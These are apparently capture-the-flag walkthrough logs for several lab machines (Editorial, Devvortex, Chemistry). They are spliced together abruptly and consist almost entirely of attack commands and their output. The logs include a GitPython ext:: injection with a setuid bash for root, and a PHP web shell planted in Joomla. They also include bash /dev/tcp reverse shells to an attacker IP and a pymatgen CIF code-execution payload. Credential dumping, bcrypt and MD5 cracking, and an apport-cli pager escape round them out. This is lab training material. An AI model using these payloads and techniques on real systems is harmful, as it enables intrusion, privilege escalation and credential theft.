deleted: app_editorial/static/js/bootstrap.js.map
deleted: app_editorial/static/js/bootstrap.min.js
deleted: app_editorial/static/js/bootstrap.min.js.map
deleted: app_editorial/templates/about.html
deleted: app_editorial/templates/index.html
deleted: app_editorial/templates/upload.html
no changes added to commit (use "git add" and/or "git commit -a")dev@editorial:~/apps/.git$ git log
commit 8ad0f3187e2bda88bba85074635ea942974587e8 (HEAD -> master)
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 21:04:21 2023 -0500
fix: bugfix in api port endpoint
commit dfef9f20e57d730b7d71967582035925d57ad883
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 21:01:11 2023 -0500
change: remove debug and update api port
commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 20:55:08 2023 -0500
change(api): downgrading prod to dev
* To use development environment.
commit 1e84a036b2f33c59e2390730699a488c65643d28
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 20:51:10 2023 -0500
feat: create api to editorial info
* It (will) contains internal info about the editorial, this enable
faster access to information.
commit 3251ec9e8ffdd9b938e83e3b9fbf5fd1efa9bbb8
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 20:48:43 2023 -0500
feat: create editorial app
* This contains the base of this project.
* Also we add a feature to enable to external authors send us their
books and validate a future post in our editorial.dev@editorial:~/apps/.git$ git log --oneline
8ad0f31 (HEAD -> master) fix: bugfix in api port endpoint
dfef9f2 change: remove debug and update api port
b73481b change(api): downgrading prod to dev
1e84a03 feat: create api to editorial info
3251ec9 feat: create editorial appdev@editorial:~/apps/.git$ git diff b73481b 1e84a03
diff --git a/app_api/app.py b/app_api/app.py
index 3373b14..61b786f 100644
--- a/app_api/app.py
+++ b/app_api/app.py
@@ -64,7 +64,7 @@ def index():
@app.route(api_route + '/authors/message', methods=['GET'])
def api_mail_new_authors():
return jsonify({
- 'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."
+ 'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: prod\nPassword: 080217_Producti0n_2023!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."
}) # TODO: replace dev credentials when checks pass
# -------------------------------❯ sshpass -p '080217_Producti0n_2023!@' ssh prod@10.10.11.20
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-112-generic x86_64)
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
prod@editorial:~$ prod@editorial:~$ sudo -l
[sudo] password for prod:
Matching Defaults entries for prod on editorial:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User prod may run the following commands on editorial:
(root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *prod@editorial:~$ cat /opt/internal_apps/clone_changes/clone_prod_change.py
#!/usr/bin/python3
import os
import sys
from git import Repo
os.chdir('/opt/internal_apps/clone_changes')
url_to_clone = sys.argv[1]
r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])prod@editorial:~$ pip show gitpython
Name: GitPython
Version: 3.1.29
Summary: GitPython is a python library used to interact with Git repositories
Home-page: https://github.com/gitpython-developers/GitPython
Author: Sebastian Thiel, Michael Trier
Author-email: byronimo@gmail.com, mtrier@gmail.com
License: BSD
Location: /usr/local/lib/python3.10/dist-packages
Requires: gitdb
Required-by: rod@editorial:~$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c touch% /tmp/pwned'
Traceback (most recent call last):
File "/opt/internal_apps/clone_changes/clone_prod_change.py", line 12, in <module>
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1275, in clone_from
return cls._clone(git, url, to_path, GitCmdObjectDB, progress, multi_options, **kwargs)
File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1194, in _clone
finalize_process(proc, stderr=stderr)
File "/usr/local/lib/python3.10/dist-packages/git/util.py", line 419, in finalize_process
proc.wait(**kwargs)
File "/usr/local/lib/python3.10/dist-packages/git/cmd.py", line 559, in wait
raise GitCommandError(remove_password_if_present(self.args), status, errstr)
git.exc.GitCommandError: Cmd('git') failed due to: exit code(128)
cmdline: git clone -v -c protocol.ext.allow=always ext::sh -c touch% /tmp/pwned new_changes
stderr: 'Cloning into 'new_changes'...
fatal: Could not read from remote repository.
Please make sure you have the correct access rights
and the repository exists.
'
prod@editorial:~$ ls -l /tmp/pwned
-rw-r--r-- 1 root root 0 Feb 21 16:19 /tmp/pwnedprod@editorial:/tmp$ cat exploit.sh
#!/bin/bash
chmod u+s /bin/bash
prod@editorial:/tmp$ chmod +x exploit.sh
prod@editorial:/tmp$ ls -l exploit.sh
-rwxrwxr-x 1 prod prod 33 Feb 21 16:21 exploit.shprod@editorial:/tmp$ ls -l /bin/bash
-rwxr-xr-x 1 root root 1396520 Mar 14 2024 /bin/bash
prod@editorial:/tmp$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c /tmp/exploit.sh'
Traceback (most recent call last):
File "/opt/internal_apps/clone_changes/clone_prod_change.py", line 12, in <module>
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1275, in clone_from
return cls._clone(git, url, to_path, GitCmdObjectDB, progress, multi_options, **kwargs)
File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1194, in _clone
finalize_process(proc, stderr=stderr)
File "/usr/local/lib/python3.10/dist-packages/git/util.py", line 419, in finalize_process
proc.wait(**kwargs)
File "/usr/local/lib/python3.10/dist-packages/git/cmd.py", line 559, in wait
raise GitCommandError(remove_password_if_present(self.args), status, errstr)
git.exc.GitCommandError: Cmd('git') failed due to: exit code(128)
cmdline: git clone -v -c protocol.ext.allow=always ext::sh -c /tmp/exploit.sh new_changes
stderr: 'Cloning into 'new_changes'...
fatal: Could not read from remote repository.
Please make sure you have the correct access rights
and the repository exists.
'
prod@editorial:/tmp$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1396520 Mar 14 2024 /bin/bash
prod@editorial:/tmp$ bash -p
bash-5.1# whoami
root
bash-5.1# cat /root/root.txt
aaec01***************************❯ nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.11.242 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-05 18:37 CET
Initiating SYN Stealth Scan at 18:37
Scanning 10.10.11.242 [65535 ports]
Discovered open port 80/tcp on 10.10.11.242
Discovered open port 22/tcp on 10.10.11.242
Completed SYN Stealth Scan at 18:37, 28.72s elapsed (65535 total ports)
Nmap scan report for 10.10.11.242
Host is up, received user-set (0.12s latency).
Scanned at 2025-02-05 18:37:08 CET for 28s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 28.83 seconds
Raw packets sent: 77282 (3.400MB) | Rcvd: 77296 (3.092MB)❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.11.242
[*] Open ports: 22,80
[*] Ports copied to clipboard❯ nmap -sCV -p22,80 10.10.11.242 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-05 18:41 CET
Nmap scan report for devvortex.htb (10.10.11.242)
Host is up (0.15s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: DevVortex
|_http-server-header: nginx/1.18.0 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 105.62 ms 10.10.16.1
2 105.55 ms devvortex.htb (10.10.11.242)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.07 seconds❯ xsltproc targetedXML > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...❯ cat /etc/hosts | grep 10.10.11.242
10.10.11.242 devvortex.htb❯ whatweb http://devvortex.htb/
http://devvortex.htb/ [200 OK] Bootstrap, Country[RESERVED][ZZ], Email[info@DevVortex.htb], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.242], JQuery[3.4.1], Script[text/javascript], Title[DevVortex], X-UA-Compatible[IE=edge], nginx[1.18.0]❯ dirsearch -u 'http://devvortex.htb' -i 200 -t 50 2>/dev/null
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 50 | Wordlist size: 11460
Output File: /home/kali/Desktop/HackTheBox/Linux/Devvortex/Devvortex/reports/http_devvortex.htb/_25-02-05_18-45-12.txt
Target: http://devvortex.htb/
[18:45:12] Starting:
[18:45:21] 200 - 7KB - /about.html
[18:45:35] 200 - 9KB - /contact.html
Task Completed❯ wfuzz --hh=154 -c --hc=404,400 -t 200 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -H "Host: FUZZ.devvortex.htb" http://devvortex.htb 2>/dev/null
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://devvortex.htb/
Total requests: 220546
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000821: 200 501 L 1581 W 23221 Ch "dev" ❯ catnp /etc/hosts | grep 10.10.11.242
10.10.11.242 devvortex.htb dev.devvortex.htb❯ dirsearch -u 'http://dev.devvortex.htb' -i 200 -t 50 2>/dev/null
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 50 | Wordlist size: 11460
Output File: /home/kali/Desktop/HackTheBox/Linux/Devvortex/Devvortex/reports/http_dev.devvortex.htb/_25-02-05_18-52-11.txt
Target: http://dev.devvortex.htb/
[18:52:11] Starting:
[18:53:06] 200 - 31B - /administrator/cache/
[18:53:06] 200 - 31B - /administrator/logs/
[18:53:07] 200 - 12KB - /administrator/
[18:53:07] 200 - 12KB - /administrator/index.php
[18:53:33] 200 - 31B - /cache/
[18:53:40] 200 - 31B - /cli/
[18:53:43] 200 - 31B - /components/
[18:53:48] 200 - 0B - /configuration.php
[18:54:27] 200 - 7KB - /htaccess.txt
[18:54:30] 200 - 31B - /images/
[18:54:32] 200 - 31B - /includes/
[18:54:43] 200 - 31B - /layouts/
[18:54:44] 200 - 31B - /libraries/
[18:54:44] 200 - 18KB - /LICENSE.txt
[18:54:56] 200 - 31B - /media/
[18:55:02] 200 - 31B - /modules/
[18:55:28] 200 - 31B - /plugins/
[18:55:36] 200 - 5KB - /README.txt
[18:55:41] 200 - 764B - /robots.txt
[18:56:08] 200 - 31B - /templates/
[18:56:08] 200 - 31B - /templates/index.html
[18:56:09] 200 - 0B - /templates/system/
[18:56:12] 200 - 31B - /tmp/
[18:56:29] 200 - 3KB - /web.config.txt
Task Completed❯ curl -s -X GET 'http://dev.devvortex.htb/administrator/manifests/files/joomla.xml' | grep '<version>'
<version>4.2.6</version>❯ curl -s 'http://dev.devvortex.htb/api/index.php/v1/config/application?public=true' | jq
{
"links": {
"self": "http://dev.devvortex.htb/api/index.php/v1/config/application?public=true",
"next": "http://dev.devvortex.htb/api/index.php/v1/config/application?public=true&page%5Boffset%5D=20&page%5Blimit%5D=20",
"last": "http://dev.devvortex.htb/api/index.php/v1/config/application?public=true&page%5Boffset%5D=60&page%5Blimit%5D=20"
},
"data": [
{
"type": "application",
"id": "224",
"attributes": {
"offline_message": "This site is down for maintenance.<br>Please check back again soon.",
"id": 224
}
},
...[snip]...
{
"type": "application",
"id": "224",
"attributes": {
"password": "P4ntherg0t1n5r3c0n##",
"id": 224
}
}❯ curl -s -X GET 'http://dev.devvortex.htb/api/index.php/v1/users?public=true' | jq
{
"links": {
"self": "http://dev.devvortex.htb/api/index.php/v1/users?public=true"
},
"data": [
{
"type": "users",
"id": "649",
"attributes": {
"id": 649,
"name": "lewis",
"username": "lewis",
"email": "lewis@devvortex.htb",
"block": 0,
"sendEmail": 1,
"registerDate": "2023-09-25 16:44:24",
"lastvisitDate": "2023-10-29 16:18:50",
"lastResetTime": null,
"resetCount": 0,
"group_count": 1,
"group_names": "Super Users"
}
},
{
"type": "users",
"id": "650",
"attributes": {
"id": 650,
"name": "logan paul",
"username": "logan",
"email": "logan@devvortex.htb",
"block": 0,
"sendEmail": 0,
"registerDate": "2023-09-26 19:15:42",
"lastvisitDate": null,
"lastResetTime": null,
"resetCount": 0,
"group_count": 1,
"group_names": "Registered"
}
}
],
"meta": {
"total-pages": 1
}
}
if (isset($_REQUEST['gzzcoo'])) {
system($_REQUEST['gzzcoo']);
die();
}❯ curl -s 'http://dev.devvortex.htb/gzzcoo' --data-urlencode 'gzzcoo=whoami'
www-data❯ nc -nlvp 443
listening on [any] 443 ...❯ curl -s 'http://dev.devvortex.htb/gzzcoo' --data-urlencode 'gzzcoo=/bin/bash -c "bash -i >& /dev/tcp/10.10.16.2/443 0>&1"'❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.242] 35136
bash: cannot set terminal process group (854): Inappropriate ioctl for device
bash: no job control in this shell
www-data@devvortex:~/dev.devvortex.htb$www-data@devvortex:~/dev.devvortex.htb$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
logan:x:1000:1000:,,,:/home/logan:/bin/bashwww-data@devvortex:~/dev.devvortex.htb$ ls -l
total 112
-rwxr-xr-x 1 www-data www-data 18092 Dec 13 2022 LICENSE.txt
-rwxr-xr-x 1 www-data www-data 4942 Dec 13 2022 README.txt
drwxr-xr-x 11 www-data www-data 4096 Dec 13 2022 administrator
drwxr-xr-x 5 www-data www-data 4096 Dec 13 2022 api
drwxr-xr-x 2 www-data www-data 4096 Dec 13 2022 cache
drwxr-xr-x 2 www-data www-data 4096 Dec 13 2022 cli
drwxr-xr-x 18 www-data www-data 4096 Dec 13 2022 components
-rw-r--r-- 1 www-data www-data 2037 Sep 25 2023 configuration.php
-rwxr-xr-x 1 www-data www-data 6858 Dec 13 2022 htaccess.txt
drwxr-xr-x 5 www-data www-data 4096 Dec 13 2022 images
drwxr-xr-x 2 www-data www-data 4096 Dec 13 2022 includes
-r-xr-x--- 1 www-data www-data 1068 Dec 13 2022 index.php
drwxr-xr-x 4 www-data www-data 4096 Dec 13 2022 language
drwxr-xr-x 6 www-data www-data 4096 Dec 13 2022 layouts
drwxr-xr-x 6 www-data www-data 4096 Dec 13 2022 libraries
drwxr-xr-x 71 www-data www-data 4096 Dec 13 2022 media
drwxr-xr-x 26 www-data www-data 4096 Dec 13 2022 modules
drwxr-xr-x 25 www-data www-data 4096 Dec 13 2022 plugins
-rwxr-xr-x 1 www-data www-data 764 Dec 13 2022 robots.txt
drwxr-xr-x 4 www-data www-data 4096 Dec 13 2022 templates
drwxr-xr-x 2 www-data www-data 4096 Feb 5 23:04 tmp
-rwxr-xr-x 1 www-data www-data 2974 Dec 13 2022 web.config.txtwww-data@devvortex:~/dev.devvortex.htb$ cat configuration.php
<?php
class JConfig {
public $offline = false;
public $offline_message = 'This site is down for maintenance.<br>Please check back again soon.';
public $display_offline_message = 1;
public $offline_image = '';
public $sitename = 'Development';
public $editor = 'tinymce';
public $captcha = '0';
public $list_limit = 20;
public $access = 1;
public $debug = false;
public $debug_lang = false;
public $debug_lang_const = true;
public $dbtype = 'mysqli';
public $host = 'localhost';
public $user = 'lewis';
public $password = 'P4ntherg0t1n5r3c0n##';// Some codewww-data@devvortex:~/dev.devvortex.htb$ which mysql
/usr/bin/mysql
www-data@devvortex:~/dev.devvortex.htb$ mysql -u lewis -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 9425
Server version: 8.0.35-0ubuntu0.20.04.1 (Ubuntu)
Copyright (c) 2000, 2023, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> SHOW DATABASES;
+--------------------+
| Database |
+--------------------+
| information_schema |
| joomla |
| performance_schema |
+--------------------+
3 rows in set (0.01 sec)
mysql> USE joomla;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> mysql> SHOW TABLES;
+-------------------------------+
| Tables_in_joomla |
+-------------------------------+
| sd4fg_action_log_config |
| sd4fg_action_logs |
| sd4fg_action_logs_extensions |
| sd4fg_action_logs_users |
...[snip]...
| sd4fg_user_keys |
| sd4fg_user_mfa |
| sd4fg_user_notes |
| sd4fg_user_profiles |
| sd4fg_user_usergroup_map |
| sd4fg_usergroups |
| sd4fg_users |
| sd4fg_viewlevels |
| sd4fg_webauthn_credentials |
| sd4fg_workflow_associations |
| sd4fg_workflow_stages |
| sd4fg_workflow_transitions |
| sd4fg_workflows |
+-------------------------------+
71 rows in set (0.00 sec)mysql> SELECT * FROM sd4fg_users;
+-----+------------+----------+---------------------+--------------------------------------------------------------+-------+-----------+---------------------+---------------------+------------+---------------------------------------------------------------------------------------------------------------------------------------------------------+---------------+------------+--------+------+--------------+--------------+
| id | name | username | email | password | block | sendEmail | registerDate | lastvisitDate | activation | params | lastResetTime | resetCount | otpKey | otep | requireReset | authProvider |
+-----+------------+----------+---------------------+--------------------------------------------------------------+-------+-----------+---------------------+---------------------+------------+---------------------------------------------------------------------------------------------------------------------------------------------------------+---------------+------------+--------+------+--------------+--------------+
| 649 | lewis | lewis | lewis@devvortex.htb | $2y$10$6V52x.SD8Xc7hNlVwUTrI.ax4BIAYuhVBMVvnYWRceBmy8XdEzm1u | 0 | 1 | 2023-09-25 16:44:24 | 2025-02-05 23:01:42 | 0 | | NULL | 0 | | | 0 | |
| 650 | logan paul | logan | logan@devvortex.htb | $2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12 | 0 | 0 | 2023-09-26 19:15:42 | NULL | | {"admin_style":"","admin_language":"","language":"","editor":"","timezone":"","a11y_mono":"0","a11y_contrast":"0","a11y_highlight":"0","a11y_font":"0"} | NULL | 0 | | | 0 | |
+-----+------------+----------+---------------------+--------------------------------------------------------------+-------+-----------+---------------------+---------------------+------------+---------------------------------------------------------------------------------------------------------------------------------------------------------+---------------+------------+--------+------+--------------+--------------+
2 rows in set (0.00 sec)❯ hashid '$2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12'
Analyzing '$2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12'
[+] Blowfish(OpenBSD)
[+] Woltlab Burning Board 4.x
[+] bcrypt
❯ hashcat -a 0 -m 3200 hashes /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #1: cpu-sandybridge-11th Gen Intel(R) Core(TM) i5-1135G7 @ 2.40GHz, 2913/5891 MB (1024 MB allocatable), 8MCU
$2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12:tequieromucho❯ ssh logan@devvortex.htb
The authenticity of host 'devvortex.htb (10.10.11.242)' can't be established.
ED25519 key fingerprint is SHA256:RoZ8jwEnGGByxNt04+A/cdluslAwhmiWqG3ebyZko+A.
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:18: [hashed name]
~/.ssh/known_hosts:29: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'devvortex.htb' (ED25519) to the list of known hosts.
logan@devvortex.htb's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-167-generic x86_64)
Last login: Mon Feb 26 14:44:38 2024 from 10.10.14.23
logan@devvortex:~$ cat user.txt
272c6688bdf7********************logan@devvortex:~$ sudo -l
[sudo] password for logan:
Matching Defaults entries for logan on devvortex:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User logan may run the following commands on devvortex:
(ALL : ALL) /usr/bin/apport-clilogan@devvortex:~$ sudo /usr/bin/apport-cli --file-bug
*** What kind of problem do you want to report?
Choices:
1: Display (X.org)
2: External or internal storage devices (e. g. USB sticks)
3: Security related problems
4: Sound/audio related problems
5: dist-upgrade
6: installation
7: installer
8: release-upgrade
9: ubuntu-release-upgrader
10: Other problem
C: Cancel
Please choose (1/2/3/4/5/6/7/8/9/10/C): 1
*** Collecting problem information
The collected information can be sent to the developers to improve the
application. This might take a few minutes.
*** What display problem do you observe?
Choices:
1: I don't know
2: Freezes or hangs during boot or usage
3: Crashes or restarts back to login screen
4: Resolution is incorrect
5: Shows screen corruption
6: Performance is worse than expected
7: Fonts are the wrong size
8: Other display-related problem
C: Cancel
Please choose (1/2/3/4/5/6/7/8/C): 2
***
To debug X freezes, please see https://wiki.ubuntu.com/X/Troubleshooting/Freeze
Press any key to continue... !
..dpkg-query: no packages found matching xorg
..................
*** Send problem report to the developers?
After the problem report has been sent, please fill out the form in the
automatically opened web browser.
What would you like to do? Your options are:
S: Send report (1.4 KB)
V: View report
K: Keep report file for sending later or copying to somewhere else
I: Cancel and ignore future crashes of this program version
C: Cancel
Please choose (S/V/K/I/C): V
What would you like to do? Your options are:
S: Send report (1.4 KB)
V: View report
K: Keep report file for sending later or copying to somewhere else
I: Cancel and ignore future crashes of this program version
C: Cancel
Please choose (S/V/K/I/C): v
!bash
root@devvortex:/home/logan# cat /root/root.txt
4dd686c1************************❯ nmap -p- --open -sS --min-rate 1000 -Pn -n 10.10.11.38 -oG allPorts
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-15 03:30 CET
Nmap scan report for 10.10.11.38
Host is up (0.062s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
5000/tcp open upnp
Nmap done: 1 IP address (1 host up) scanned in 15.60 seconds❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.11.38
[*] Open ports: 22,5000
[*] Ports copied to clipboard❯ nmap -sCV -p22,5000 10.10.11.38 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-15 03:31 CET
Stats: 0:00:00 elapsed; 0 hosts completed (0 up), 0 undergoing Script Pre-Scan
NSE Timing: About 0.00% done
Nmap scan report for 10.10.11.38
Host is up (0.073s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b6:fc:20:ae:9d:1d:45:1d:0b:ce:d9:d0:20:f2:6f:dc (RSA)
| 256 f1:ae:1c:3e:1d:ea:55:44:6c:2f:f2:56:8d:62:3c:2b (ECDSA)
|_ 256 94:42:1b:78:f2:51:87:07:3e:97:26:c9:a2:5c:0a:26 (ED25519)
5000/tcp open http Werkzeug httpd 3.0.3 (Python 3.9.5)
|_http-title: Chemistry - Home
|_http-server-header: Werkzeug/3.0.3 Python/3.9.5
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 79.53 ms 10.10.16.1
2 40.10 ms 10.10.11.38
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.88 seconds❯ xsltproc targetedXML > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...❯ cat example.cif
data_Example
_cell_length_a 10.00000
_cell_length_b 10.00000
_cell_length_c 10.00000
_cell_angle_alpha 90.00000
_cell_angle_beta 90.00000
_cell_angle_gamma 90.00000
_symmetry_space_group_name_H-M 'P 1'
loop_
_atom_site_label
_atom_site_fract_x
_atom_site_fract_y
_atom_site_fract_z
_atom_site_occupancy
H 0.00000 0.00000 0.00000 1
O 0.50000 0.50000 0.50000 1❯ catnp test.cif
data_5yOhtAoR
_audit_creation_date 2018-06-08
_audit_creation_method "Pymatgen CIF Parser Arbitrary Code Execution Exploit"
loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]
_space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("wget 10.10.16.5/test");0,0,0'
_space_group_magn.number_BNS 62.448
_space_group_magn.name_BNS "P n' m a' "❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.38 - - [15/Jan/2025 03:42:43] code 404, message File not found
10.10.11.38 - - [15/Jan/2025 03:42:43] "GET /test HTTP/1.1" 404 -❯ cat test.cif
data_5yOhtAoR
_audit_creation_date 2018-06-08
_audit_creation_method "Pymatgen CIF Parser Arbitrary Code Execution Exploit"
loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]
_space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("/bin/bash -c \'sh -i >& /dev/tcp/10.10.16.5/443 0>&1\'");0,0,0'
_space_group_magn.number_BNS 62.448
_space_group_magn.name_BNS "P n' m a' "❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.11.38] 36714
sh: 0: can't access tty; job control turned off
$ hostname
chemistry
$ whoami
adminappadminapp@chemistry:~/instance$ cat database.db
�f�K�ytableuseruserCREATE TABLE user (
id INTEGER NOT NULL,
username VARCHAR(150) NOT NULL,
password VARCHAR(150) NOT NULL,
PRIMARY KEY (id),
UNIQUE (username)
)';indexsqlite_autoindex_user_1user�3�5tablestructurestructureCREATE TABLE structure (
id INTEGER NOT NULL,
user_id INTEGER NOT NULL,
filename VARCHAR(150) NOT NULL,
identifier VARCHAR(100) NOT NULL,
PRIMARY KEY (id),
FOREIGN KEY(user_id) REFERENCES user (id),
UNIQUE (identifier)
����42Utest.cifd0c31e9e-b720-4eec-8a50-929380e381e3
Maxel9347f9724ca083b17e39555c36fd9007*e381e3 kristel6896ba7b11a62cacffbdaded457c6d92(
eusebio6cad48078d0241cca9a7b322ecd073b3)abian4e5Mtaniaa4aa55e816205dc0389591c9f82f43bbMvictoriac3601ad2286a4293868ec2a4bc606ba3)Mpeter6845c17d298d95aa942127bdad2ceb9b*Mcarlos9ad48828b0955513f7cf0f7f6510c8f8*Mjobert3dec299e06f7ed187bac06bd3b670ab2*Mrobert02fcf7cfc10adc37959fb21f06c6b467(Mrosa63ed86ee9f624c7b14f1d4f43dc251a5'Mapp197865e46b878d9e74a0346b6d59886a)Madmin2861debaf8d99436a10ed6f75a252abf
a��x����a�l�����__�
gzzcoo
kristeaxel
fabian
gelacia
eusebio
tania
victoriapeter
carlos
jobert
roberrosaapp❯ hashcat -a 0 -m 0 hashes /usr/share/wordlists/rockyou.txt
...[snip]...
63ed86ee9f624c7b14f1d4f43dc251a5:unicorniosrosados
